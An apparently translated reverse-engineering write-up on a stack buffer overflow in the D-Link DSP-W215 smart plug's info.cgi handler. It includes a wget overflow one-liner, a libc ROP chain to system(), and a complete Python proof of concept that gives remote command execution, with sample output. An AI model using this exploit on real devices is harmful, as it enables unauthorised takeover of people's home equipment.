Back to Home

Hack D-Link DSP-W215 Smart Plug. Again and again

reverse engineering · DSP-W215 Smart Plug · DSP-W215 · Smart Plug · firmware · embedded · smart home · smart home · reverse engineering

Hack D-Link DSP-W215 Smart Plug. Again and again

Original author: Craig
  • Transfer
Here we are again and again.
image

In the last exploit for DSP-W215, I said that the get_input_entries function does not crash, you need to use the name "storage_path" in the POST request. This was necessary because there was another buffer overflow, this time in the get_input_entries function, which get_input_entries calls if the name of the parameter parameter is different from “storage_path” or “path”:
image

One argument is passed to the replace_special_char function - a pointer to the processed POST value:
image

This function is engaged in decoding the URL:
image

To decode the URL, the function receives the string length of the POST value that get_input_entries passes:
image
post_value_length = strlen (post_data);

And it loops through all bytes of post_value_length:
image

At each iteration, the function stores one decoded (urldecoded) byte, or, if decoding was not required, the original byte of the POST value to the local variable decode_buf on the stack:
image

In fact, it does this:
void replace_special_char(char *post_data)
{
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;
    memset(decode_buf, 0, sizeof(decode_buf));
    post_value_length = strlen(post_data);
    while(i < post_value_length)
    {
        /*
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...
         */
        // No bounds checking on index j!
        decode_buf[j] = post_data[i];
        j++;
        i++;
    }
    ...
    return;
}


If we look at the replace_special_char stack, we see that a POST value longer than 612 bytes will overflow the entire stack to the first register stored ($ s0), and another 36 bytes will overflow the stored return address ($ ra).
image

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi


image
$ ra = 0 × 42424242

Due to the fact that the decoding loop uses strlen to determine the required number of bytes for copying in decode_buf, we must remember the restriction on the use of NULL bytes in the POST request. This means that the return address that we used in previous exploits will not work, because it request contains NULL bytes, but we can do ROP in libc to achieve the same effect.

Inside libc, at offset 0xBA50, there is a gadget that points to the register $ a1 on the stack ($ sp + 0xB8, to be precise), and then jumps to some address that it receives from the register $ s1:
image
First ROP gadget

If we rewrite $ s1 with an address with an offset of 0 × 34640 during the buffer overflow, then the program will jump to the next gadget, which will put the register $ a1 in $ a0 (the register with the first argument of the function) and call the function whose address is in $ s0:
image
Second ROP gadget

So, we made sure that $ s0 points to the system () function (at offset 0x4BC80 in libc), which means we can call system () with a pointer to the stack:
system($sp+0xB8);


After adding the base address of libc (0x2AB61000) to all offsets, we can write and test PoC for this vulnerability:
#!/usr/bin/env python
# Exploits overflow in replace_special_char.
import sys
import urllib2
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s " % sys.argv[0]
    sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "\x2A\xBA\xCC\x80"   # $s0, address of system()
buf += "\x2A\xB9\x56\x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care
buf += "F" * 4              # $s3, address of ROP2
buf += "F" * 4              # $s4, don't care
buf += "F" * 4              # $s5, address of ROP3
buf += "F" * 4              # $s6, don't care
buf += "F" * 4              # $s7, don't care
buf += "F" * 4              # $fp, don't care
buf += "\x2A\xB6\xCA\x50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()


As before, we can execute any commands and get a response:
$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

Read Next